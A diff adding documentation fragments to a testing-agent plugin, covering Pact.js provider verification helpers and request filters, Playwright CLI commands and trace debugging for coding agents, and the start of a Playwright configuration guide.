+// - PACT_BROKER_BASE_URL (broker URL)
+// - PACT_BROKER_TOKEN (broker auth)
+// - PACT_PAYLOAD_URL (webhook trigger — cross-execution protection)
+// - PACT_BREAKING_CHANGE (if "true", uses includeMainAndDeployed selectors)
+// - GITHUB_SHA (provider version)
+// - CI (publish verification results if "true")
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'test-token',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` as env vars — `buildVerifierOptions` reads them automatically
+- `port` is a string (e.g., `'3001'`) — the function builds `providerBaseUrl: http://localhost:${port}` internally
+- `includeMainAndDeployed` is **required** — set `true` for normal flow, `false` for breaking changes
+- State handlers support both simple functions and `{ setup, teardown }` objects
+- `params` in state handlers correspond to the `JsonMap` from consumer's `createProviderState`
+- Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+### Example 2: Local Flow (Monorepo, No Broker)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+// When PACT_BROKER_BASE_URL is NOT set, buildVerifierOptions
+// falls back to local pact file verification
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  // Specify local pact files directly — skips broker entirely
+  pactUrls: ['./pacts/movie-web-SampleMoviesAPI.json'],
+  stateHandlers: {
+    'movie exists': async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+### Example 3: Message Provider Verification (Kafka/Async)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildMessageVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+const opts = buildMessageVerifierOptions({
+  provider: 'OrderEventsProducer',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  // Message handlers return the message content that the provider would produce
+  messageProviders: {
+    'an order created event': async () => ({
+      orderId: 'order-123',
+      userId: 'user-456',
+      items: [{ productId: 'prod-789', quantity: 2 }],
+      createdAt: new Date().toISOString(),
+    }),
+    'an order cancelled event': async () => ({
+      orderId: 'order-123',
+      reason: 'customer_request',
+      cancelledAt: new Date().toISOString(),
+    }),
+  },
+  stateHandlers: {
+    'order exists': async (params) => {
+      await db.seed({ orders: [{ id: params?.orderId }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- `buildMessageVerifierOptions` adds `messageProviders` to the verifier config
+- Each message provider function returns the expected message payload
+- State handlers work the same as HTTP verification
+- Broker integration works identically (same env vars)
+
+### Example 4: Breaking Change Coordination
+
+```typescript
+// When a provider intentionally introduces a breaking change:
+//
+// 1. Set PACT_BREAKING_CHANGE=true in CI environment
+// 2. Your test reads the env var and passes includeMainAndDeployed: false
+//    to buildVerifierOptions — this verifies ONLY against the matching
+//    branch, skipping main/deployed consumers that would fail
+// 3. Coordinate with consumer team to update their pact on a matching branch
+// 4. Remove PACT_BREAKING_CHANGE flag after consumer updates
+
+// In CI environment (.github/workflows/provider-verify.yml):
+// env:
+//   PACT_BREAKING_CHANGE: 'true'
+
+// Your provider test code reads the env var:
+const isBreakingChange = process.env.PACT_BREAKING_CHANGE === 'true';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: !isBreakingChange, // false during breaking changes
+  stateHandlers: {
+    /* ... */
+  },
+});
+// When includeMainAndDeployed is false (breaking change):
+//   selectors = [{ matchingBranch: true }]
+// When includeMainAndDeployed is true (normal):
+//   selectors = [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }]
+```
+
+### Example 5: handlePactBrokerUrlAndSelectors (Advanced)
+
+```typescript
+import { handlePactBrokerUrlAndSelectors } from '@seontechnologies/pactjs-utils';
+import type { VerifierOptions } from '@pact-foundation/pact';
+
+// For advanced use cases — mutates the options object in-place (returns void)
+const options: VerifierOptions = {
+  provider: 'SampleMoviesAPI',
+  providerBaseUrl: 'http://localhost:3001',
+};
+
+handlePactBrokerUrlAndSelectors({
+  pactPayloadUrl: process.env.PACT_PAYLOAD_URL,
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  consumer: undefined, // or specific consumer name
+  includeMainAndDeployed: true,
+  options, // mutated in-place: sets pactBrokerUrl, consumerVersionSelectors, or pactUrls
+});
+
+// After call, options has been mutated with:
+// - options.pactBrokerUrl (from pactBrokerUrl param)
+// - options.consumerVersionSelectors (based on includeMainAndDeployed)
+// OR if pactPayloadUrl matches: options.pactUrls = [pactPayloadUrl]
+```
+
+**Note**: `handlePactBrokerUrlAndSelectors` is called internally by `buildVerifierOptions`. You rarely need it directly — use it only for advanced custom verifier assembly.
+
+### Example 6: getProviderVersionTags
+
+```typescript
+import { getProviderVersionTags } from '@seontechnologies/pactjs-utils';
+
+// Extracts version tags from CI environment
+const tags = getProviderVersionTags();
+
+// In GitHub Actions on branch "feature/add-movies" (non-breaking):
+//   tags = ['dev', 'feature/add-movies']
+//
+// In GitHub Actions on main branch (non-breaking):
+//   tags = ['dev', 'main']
+//
+// In GitHub Actions with PACT_BREAKING_CHANGE=true:
+//   tags = ['feature/add-movies']  (no 'dev' tag)
+//
+// Locally (no CI):
+//   tags = ['local']
+```
+
+## Environment Variables Reference
+
+| Variable               | Required        | Description                                                                                                                           | Default     |
+| ---------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
+| `PACT_BROKER_BASE_URL` | For remote flow | Pact Broker / PactFlow URL                                                                                                            | —           |
+| `PACT_BROKER_TOKEN`    | For remote flow | API token for broker authentication                                                                                                   | —           |
+| `GITHUB_SHA`           | Recommended     | Provider version for verification result publishing (auto-set by GitHub Actions)                                                      | `'unknown'` |
+| `GITHUB_BRANCH`        | Recommended     | Branch name for provider version branch and version tags (**not auto-set** — define as `${{ github.head_ref \|\| github.ref_name }}`) | `'main'`    |
+| `PACT_PAYLOAD_URL`     | Optional        | Webhook payload URL — triggers verification of specific pact only                                                                     | —           |
+| `PACT_BREAKING_CHANGE` | Optional        | Set to `"true"` to use breaking change selector strategy                                                                              | `'false'`   |
+| `CI`                   | Auto-detected   | When `"true"`, enables verification result publishing                                                                                 | —           |
+
+## Key Points
+
+- **Flow auto-detection**: If `PACT_BROKER_BASE_URL` is set → remote flow; otherwise → local flow (requires `pactUrls`)
+- **`port` is a string**: Pass port number as string (e.g., `'3001'`); function builds `http://localhost:${port}` internally
+- **`includeMainAndDeployed` is required**: `true` = verify matchingBranch + mainBranch + deployedOrReleased; `false` = verify matchingBranch only (for breaking changes)
+- **Selector strategy**: Normal flow (`includeMainAndDeployed: true`) includes all selectors; breaking change flow (`false`) includes only `matchingBranch`
+- **Webhook support**: `PACT_PAYLOAD_URL` takes precedence — verifies only the specific pact that triggered the webhook
+- **State handler types**: Both `async (params) => void` and `{ setup: async (params) => void, teardown: async () => void }` are supported
+- **Version publishing**: Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-consumer-helpers.md` — consumer-side state parameter creation
+- `pactjs-utils-request-filter.md` — auth injection for provider verification
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual broker URL and selector assembly
+
+```typescript
+// ❌ Manual environment variable handling
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || process.env.GITHUB_SHA || 'dev',
+  providerVersionBranch: process.env.GITHUB_HEAD_REF || process.env.GITHUB_REF_NAME,
+  consumerVersionSelectors:
+    process.env.PACT_BREAKING_CHANGE === 'true'
+      ? [{ matchingBranch: true }]
+      : [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }],
+  pactUrls: process.env.PACT_PAYLOAD_URL ? [process.env.PACT_PAYLOAD_URL] : undefined,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    req.headers['authorization'] = `Bearer ${process.env.TEST_TOKEN}`;
+    next();
+  },
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ All env var logic handled internally
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_TOKEN ?? 'test-token',
+  }),
+});
+```
+
+### Wrong: Hardcoding consumer version selectors
+
+```typescript
+// ❌ Hardcoded selectors — breaks when flow changes
+consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+```
+
+### Right: Let buildVerifierOptions choose selectors
+
+```typescript
+// ✅ Selector strategy adapts to PACT_BREAKING_CHANGE env var
+const opts = buildVerifierOptions({
+  /* ... */
+});
+// Selectors chosen automatically based on environment
+```
+
+_Source: @seontechnologies/pactjs-utils provider-verifier module, pact-js-example-provider CI workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-request-filter.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-request-filter.md
new file mode 100644
index 0000000..d046cf4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-request-filter.md
@@ -0,0 +1,224 @@
+# Pact.js Utils Request Filter
+
+## Principle
+
+Use `createRequestFilter` and `noOpRequestFilter` from `@seontechnologies/pactjs-utils` to inject authentication headers during provider verification. The pluggable token generator pattern prevents double-Bearer bugs and separates auth concerns from verification logic.
+
+## Rationale
+
+### Problems with manual request filters
+
+- **Express type gymnastics**: Pact's `requestFilter` expects `(req, res, next) => void` with Express-compatible types — but Pact doesn't re-export these types
+- **Double-Bearer bug**: Easy to write `Authorization: Bearer Bearer ${token}` when the token generator already includes the prefix
+- **Inline complexity**: Auth logic mixed with verifier config makes tests harder to read
+- **No-op boilerplate**: Providers without auth still need a pass-through function or `undefined`
+
+### Solutions
+
+- **`createRequestFilter`**: Accepts `{ tokenGenerator: () => string }` — generator returns raw token value synchronously, filter adds `Bearer ` prefix
+- **`noOpRequestFilter`**: Pre-built pass-through for providers without auth requirements
+- **Bearer prefix contract**: `tokenGenerator` returns raw value (e.g., `"abc123"`), filter always adds `"Bearer "` — impossible to double-prefix
+
+## Pattern Examples
+
+### Example 1: Basic Auth Injection
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    // tokenGenerator returns raw token — filter adds "Bearer " prefix
+    tokenGenerator: () => 'test-auth-token-123',
+  }),
+});
+
+// Every request during verification will have:
+// Authorization: Bearer test-auth-token-123
+```
+
+**Key Points**:
+
+- `tokenGenerator` is **synchronous** (`() => string`) — if you need async token fetching, resolve the token before creating the filter
+- Return the raw token value, NOT `"Bearer ..."` — the filter adds the prefix
+- Filter sets `Authorization` header on every request during verification
+
+### Example 2: Dynamic Token (Pre-resolved)
+
+```typescript
+import { createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// Since tokenGenerator is synchronous, fetch the token before creating the filter
+let cachedToken: string;
+
+async function setupRequestFilter() {
+  const response = await fetch('http://localhost:8080/auth/token', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: JSON.stringify({
+      clientId: process.env.TEST_CLIENT_ID,
+      clientSecret: process.env.TEST_CLIENT_SECRET,
+    }),
+  });
+  const { access_token } = await response.json();
+  cachedToken = access_token;
+}
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => cachedToken, // Synchronous — returns pre-fetched token
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SecureAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter,
+});
+```
+
+### Example 3: No-Auth Provider
+
+```typescript
+import { buildVerifierOptions, noOpRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// For providers that don't require authentication
+const opts = buildVerifierOptions({
+  provider: 'PublicAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: noOpRequestFilter,
+});
+
+// noOpRequestFilter is equivalent to: (req, res, next) => next()
+```
+
+### Example 4: Integration with buildVerifierOptions
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+// Complete provider verification setup
+const stateHandlers: StateHandlers = {
+  'user is authenticated': async () => {
+    // Auth state is handled by the request filter, not state handler
+  },
+  'movie exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+};
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'fallback-token',
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: process.env.PORT ?? '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter,
+});
+
+// Run verification
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Bearer prefix contract**: `tokenGenerator` returns raw value → filter adds `"Bearer "` → impossible to double-prefix
+- **Synchronous only**: `tokenGenerator` must return `string` (not `Promise<string>`) — pre-resolve async tokens before creating the filter
+- **Separation of concerns**: Auth logic in `createRequestFilter`, verification logic in `buildVerifierOptions`
+- **noOpRequestFilter**: Use for providers without auth — cleaner than `undefined` or inline no-op
+- **Express compatible**: The returned filter matches Pact's expected `(req, res, next) => void` signature
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, utility table, decision tree
+- `pactjs-utils-provider-verifier.md` — buildVerifierOptions integration
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual Bearer prefix with double-prefix risk
+
+```typescript
+// ❌ Risk of double-prefix: "Bearer Bearer token"
+requestFilter: (req, res, next) => {
+  const token = getToken(); // What if getToken() returns "Bearer abc123"?
+  req.headers['authorization'] = `Bearer ${token}`;
+  next();
+};
+```
+
+### Right: Use createRequestFilter with raw token
+
+```typescript
+// ✅ tokenGenerator returns raw value — filter handles prefix
+requestFilter: createRequestFilter({
+  tokenGenerator: () => getToken(), // Returns "abc123", not "Bearer abc123"
+});
+```
+
+### Wrong: Inline auth logic in verifier config
+
+```typescript
+// ❌ Auth logic mixed with verifier config
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  requestFilter: (req, res, next) => {
+    const clientId = process.env.CLIENT_ID;
+    const clientSecret = process.env.CLIENT_SECRET;
+    // 10 lines of token fetching logic...
+    req.headers['authorization'] = `Bearer ${token}`;
+    next();
+  },
+  // ... rest of config
+};
+```
+
+### Right: Separate auth into createRequestFilter
+
+```typescript
+// ✅ Clean separation — async setup wraps token fetch (CommonJS-safe)
+async function setupVerifierOptions() {
+  const token = await fetchAuthToken(); // Resolve async token BEFORE creating filter
+
+  const requestFilter = createRequestFilter({
+    tokenGenerator: () => token, // Synchronous — returns pre-fetched value
+  });
+
+  return buildVerifierOptions({
+    provider: 'my-api',
+    port: '3001',
+    includeMainAndDeployed: true,
+    requestFilter,
+    stateHandlers: {
+      /* ... */
+    },
+  });
+}
+
+// In tests/hooks, callers can await setupVerifierOptions():
+// const opts = await setupVerifierOptions();
+```
+
+_Source: @seontechnologies/pactjs-utils request-filter module, pact-js-example-provider verification tests_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/playwright-cli.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/playwright-cli.md
new file mode 100644
index 0000000..a80a91b
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/playwright-cli.md
@@ -0,0 +1,280 @@
+# Playwright CLI — Browser Automation for Coding Agents
+
+## Principle
+
+When an AI agent needs to look at a webpage — take a snapshot, grab selectors, capture a screenshot — it shouldn't have to load thousands of tokens of DOM trees and tool schemas into its context window just to do that. Playwright CLI gives the agent a lightweight way to talk to a browser through simple shell commands, keeping the context window free for reasoning and code generation.
+
+## Rationale
+
+Playwright MCP is powerful, but it's heavy. Every interaction loads full accessibility trees and tool definitions into the LLM context. That's fine for complex, stateful flows where you need rich introspection. But for the common case — "open this page, tell me what's on it, take a screenshot" — it's overkill.
+
+Playwright CLI solves this by returning concise **element references** (`e15`, `e21`) instead of full DOM dumps. The result: ~93% fewer tokens per interaction, which means the agent can run longer sessions, reason more deeply, and still have context left for your actual code.
+
+**The trade-off is simple:**
+
+- **CLI** = fast, lightweight, stateless — great for quick looks at pages
+- **MCP** = rich, stateful, full-featured — great for complex multi-step automation
+
+TEA uses both where each shines (see `tea_browser_automation: "auto"`).
+
+## Prerequisites
+
+```bash
+npm install -g @playwright/cli@latest    # Install globally (Node.js 18+)
+playwright-cli install --skills          # Register as an agent skill
+```
+
+The global npm install is one-time. Run `playwright-cli install --skills` from your project root to register skills in `.claude/skills/` (works with Claude Code, GitHub Copilot, and other coding agents). Agents without skills support can use the CLI directly via `playwright-cli --help`. TEA documents this during installation but does not run it for you.
+
+## How It Works
+
+The agent interacts with the browser through shell commands. Each command is a single, focused action:
+
+```bash
+# 1. Open a page
+playwright-cli -s=tea-explore open https://app.com/login
+
+# 2. Take a snapshot — returns element references, not DOM trees
+playwright-cli -s=tea-explore snapshot
+# Output: [{ref: "e15", role: "textbox", name: "Email"},
+#          {ref: "e21", role: "textbox", name: "Password"},
+#          {ref: "e33", role: "button", name: "Sign In"}]
+
+# 3. Interact using those references
+playwright-cli -s=tea-explore fill e15 "user@example.com"
+playwright-cli -s=tea-explore fill e21 "password123"
+playwright-cli -s=tea-explore click e33
+
+# 4. Capture evidence
+playwright-cli -s=tea-explore screenshot --filename=login-flow.png
+
+# 5. Clean up
+playwright-cli -s=tea-explore close
+```
+
+The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows.
+
+## What TEA Uses It For
+
+**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In":
+
+```
+snapshot ref {role: "button", name: "Sign In"}
+  → generates: page.getByRole('button', { name: 'Sign In' })
+```
+
+**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation.
+
+**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session.
+
+**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window.
+
+## How CLI Relates to Playwright Utils and API Testing
+
+CLI and playwright-utils are **complementary tools that work at different layers**:
+
+|              | Playwright CLI                               | Playwright Utils                                 |
+| ------------ | -------------------------------------------- | ------------------------------------------------ |
+| **When**     | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) |
+| **What**     | Shell commands to observe your app           | Fixtures and helpers imported in test files      |
+| **Examples** | `snapshot`, `screenshot`, `network`          | `apiRequest`, `auth-session`, `network-recorder` |
+
+They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils:
+
+```bash
+# Agent uses CLI to observe network traffic on the dashboard page
+playwright-cli -s=tea-discover open https://app.com/dashboard
+playwright-cli -s=tea-discover network
+# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200
+playwright-cli -s=tea-discover close
+```
+
+```typescript
+// Agent generates API tests using what it discovered, with playwright-utils
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('GET /api/users returns user list', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User[]>({
+    method: 'GET',
+    path: '/api/users',
+  });
+  expect(status).toBe(200);
+  expect(body.length).toBeGreaterThan(0);
+});
+```
+
+**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically:
+
+```bash
+# API test fails in CI → open the trace artifact
+npx playwright trace open test-results/api-users/trace.zip
+
+# What HTTP call failed?
+npx playwright trace requests --failed
+# Output: #3  POST /api/users  → 422  12ms
+
+# Full request/response details (headers, body, timing)
+npx playwright trace request 3
+
+# What assertion failed and why?
+npx playwright trace errors
+
+# Done
+npx playwright trace close
+```
+
+This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures.
+
+**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging.
+
+**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_.
+
+## Session Isolation
+
+Every CLI command targets a named session. This prevents workflows from interfering with each other:
+
+```bash
+# Workflow A uses one session
+playwright-cli -s=tea-explore open https://app.com
+
+# Workflow B uses a different session (can run in parallel)
+playwright-cli -s=tea-verify open https://app.com/admin
+```
+
+For parallel safety (multiple agents on the same machine), append a unique suffix:
+
+```bash
+playwright-cli -s=tea-explore-<timestamp> open https://app.com
+```
+
+## Autonomous Trace Investigation (Playwright 1.59+)
+
+For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents. Instead of downloading traces and opening the GUI Trace Viewer, agents can now consume the entire trace context directly from the command line.
+
+### Debug a Failing Test (CLI Mode)
+
+```bash
+# Start the test in CLI debug mode — no GUI Inspector, agent-friendly output
+npx playwright test --debug=cli
+playwright-cli attach <session-id>
+playwright-cli --session <session-id> step-over
+```
+
+With `--debug=cli`, the agent can:
+
+- Step through test execution in real-time
+- Inspect the page's HTML source at each step
+- Review network calls and console logs at the moment of failure
+- Capture before/after snapshots without opening a browser
+
+### Investigate a Trace Artifact
+
+```bash
+# Open a trace from CI or local runs — this starts a session
+npx playwright trace open test-results/<run>/trace.zip
+
+# List all actions as a numbered tree (# column = 1-based ordinal)
+npx playwright trace actions
+# Output: #  Time     Action                Duration
+#         1  0:00.00  navigate(...)         120ms
+#         2  0:00.12  fill(#email, ...)     45ms
+#         ...
+#         9  0:01.50  expect(toBeVisible)   ✗ 30s
+
+# Filter to failing assertions
+npx playwright trace actions --grep="expect"
+
+# Drill into action #9 (the ordinal from the list above)
+npx playwright trace action 9
+
+# See the page snapshot after that action (valid: before | input | after)
+npx playwright trace snapshot 9 --name after
+
+# Other useful subcommands
+npx playwright trace errors                  # errors with stack traces
+npx playwright trace requests --failed       # failed network requests
+npx playwright trace console --errors-only   # console errors
+
+# Close when done (removes extracted data)
+npx playwright trace close
+```
+
+### Autonomous Diagnostic Loop
+
+When TEA encounters a failing test in healing/review mode, the recommended investigation flow is:
+
+1. **Run with `--debug=cli`** to step through the failure and identify the failing action
+2. **Get a trace artifact** — configure `trace: 'retain-on-failure'` in `playwright.config.ts` (recommended), add `--trace=retain-on-failure` to the test run, or use an existing CI trace artifact. For `playwright-cli` sessions (not `--debug=cli`), use `tracing-start` / `tracing-stop` instead.
+3. **Filter to assertions** (`trace actions --grep="expect"`) to find the failure point
+4. **Inspect the snapshot** (`trace snapshot <n> --name after`) to see exact page state at failure
+5. **Analyze network/console** to rule out backend issues or timing problems
+6. **Propose a fix** — updated locator, added wait, or flagged flake for human review
+
+This reduces Mean Time to Repair (MTTR) by giving the agent full failure context rather than just an error message.
+
+### When to Use Each Tool
+
+- `playwright-cli` session commands remain the best lightweight tool for page exploration and selector verification.
+- `npx playwright test --debug=cli` is better for stepping through an already-written failing test (agent-native, no GUI).
+- `npx playwright trace ...` is better for understanding flakes and assertion failures from saved artifacts.
+
+If your environment exposes the Playwright dashboard or bound-browser flow, it can help humans inspect what an agent is doing in the background, but TEA should treat that as optional observability rather than a hard dependency.
+
+### Binding a Browser for Agent Inspection (`browser.bind()`)
+
+Playwright 1.59 added `browser.bind()` — a programmatic API that makes a running browser instance available to `playwright-cli` and MCP clients. This is the bridge between "a test is running" and "an agent can see what the test sees."
+
+```typescript
+// In a test or fixture: bind the browser so playwright-cli can attach
+const { endpoint } = await browser.bind('my-debug-session', {
+  workspaceDir: process.cwd(),
+});
+// Now: playwright-cli attach my-debug-session
+```
+
+**When TEA uses this:**
+
+- **Debugging a complex E2E failure** — A test fixture calls `browser.bind()` before the failing scenario, then TEA runs `playwright-cli attach` to inspect live page state, network, and console without re-running the test from scratch.
+- **Bridging CLI and MCP** — A bound browser is accessible to both `playwright-cli` and `@playwright/mcp`. TEA's `auto` mode can start with lightweight CLI inspection and escalate to MCP if richer introspection is needed, all against the same browser instance.
+- **CI artifact enhancement** — A CI helper can bind the browser during test runs, letting a post-failure agent attach and investigate before the process exits.
+
+Call `await browser.unbind()` when done to release the session (async — must be awaited).
+
+## Command Quick Reference
+
+| What you want to do       | Command                                          |
+| ------------------------- | ------------------------------------------------ |
+| Open a page               | `open <url>`                                     |
+| See what's on the page    | `snapshot`                                       |
+| Take a screenshot         | `screenshot [--filename=path]`                   |
+| Click something           | `click <ref>`                                    |
+| Type into a field         | `fill <ref> <text>`                              |
+| Navigate                  | `goto <url>`, `go-back`, `reload`                |
+| Mock a network request    | `route <pattern> --status=200 --body='...'`      |
+| Start recording a trace   | `tracing-start`                                  |
+| Stop and save the trace   | `tracing-stop`                                   |
+| Save auth state for reuse | `state-save auth.json`                           |
+| Load saved auth state     | `state-load auth.json`                           |
+| See network requests      | `network`                                        |
+| Manage tabs               | `tab-list`, `tab-new`, `tab-close`, `tab-select` |
+| Close the session         | `close`                                          |
+
+## When CLI vs MCP (Auto Mode Decision)
+
+| Situation                             | Tool | Why                                |
+| ------------------------------------- | ---- | ---------------------------------- |
+| "What's on this page?"                | CLI  | One-shot snapshot, no state needed |
+| "Verify this selector exists"         | CLI  | Single check, minimal tokens       |
+| "Capture a screenshot for evidence"   | CLI  | Stateless capture                  |
+| "Walk through a multi-step wizard"    | MCP  | State carries across steps         |
+| "Debug why this test fails" (healing) | CLI  | `--debug=cli` + trace analysis     |
+| "Record a drag-and-drop flow"         | MCP  | Complex interaction semantics      |
+
+## Related Fragments
+
+- `overview.md` — Playwright Utils installation and fixture patterns (the test code layer that CLI complements)
+- `api-request.md` — Typed HTTP client for API tests (CLI discovers endpoints, apiRequest tests them)
+- `api-testing-patterns.md` — Pure API test patterns (when CLI isn't needed)
+- `auth-session.md` — Token management (CLI `state-save` informs auth-session usage)
+- `selector-resilience.md` — Robust selector strategies (CLI verifies them against real DOM)
+- `visual-debugging.md` — Trace viewer usage (CLI captures traces)
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/playwright-config.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/playwright-config.md
new file mode 100644
index 0000000..e4843ce
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/playwright-config.md
@@ -0,0 +1,734 @@
+# Playwright Configuration Guardrails
+
+## Principle
+
+Load environment configs via a central map (`envConfigMap`), standardize timeouts (action 15s, navigation 30s, expect 10s, test 60s), emit HTML + JUnit reporters, and store artifacts under `test-results/` for CI upload. Keep `.env.example`, `.nvmrc`, and browser dependencies versioned so local and CI runs stay aligned.
+
+## Rationale
+
+Environment-specific configuration prevents hardcoded URLs, timeouts, and credentials from leaking into tests. A central config map with fail-fast validation catches missing environments early. Standardized timeouts reduce flakiness while remaining long enough for real-world network conditions. Consistent artifact storage (`test-results/`, `playwright-report/`) enables CI pipelines to upload failure evidence automatically. Versioned dependencies (`.nvmrc`, `package.json` browser versions) eliminate "works on my machine" issues between local and CI environments.
+
+## Pattern Examples
+
+### Example 1: Environment-Based Configuration
+
+**Context**: When testing against multiple environments (local, staging, production), use a central config map that loads environment-specific settings and fails fast if `TEST_ENV` is invalid.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Central config loader
+import { config as dotenvConfig } from 'dotenv';
+import path from 'path';
+
+// Load .env from project root
+dotenvConfig({
+  path: path.resolve(__dirname, '../../.env'),
+});
+
+// Central environment config map
+const envConfigMap = {
+  local: require('./playwright/config/local.config').default,
+  staging: require('./playwright/config/staging.config').default,
+  production: require('./playwright/config/production.config').default,
+};
+
+const environment = process.env.TEST_ENV || 'local';
+
+// Fail fast if environment not supported
+if (!Object.keys(envConfigMap).includes(environment)) {
+  console.error(`❌ No configuration found for environment: ${environment}`);
+  console.error(`   Available environments: ${Object.keys(envConfigMap).join(', ')}`);
+  process.exit(1);
+}
+
+console.log(`✅ Running tests against: ${environment.toUpperCase()}`);
+
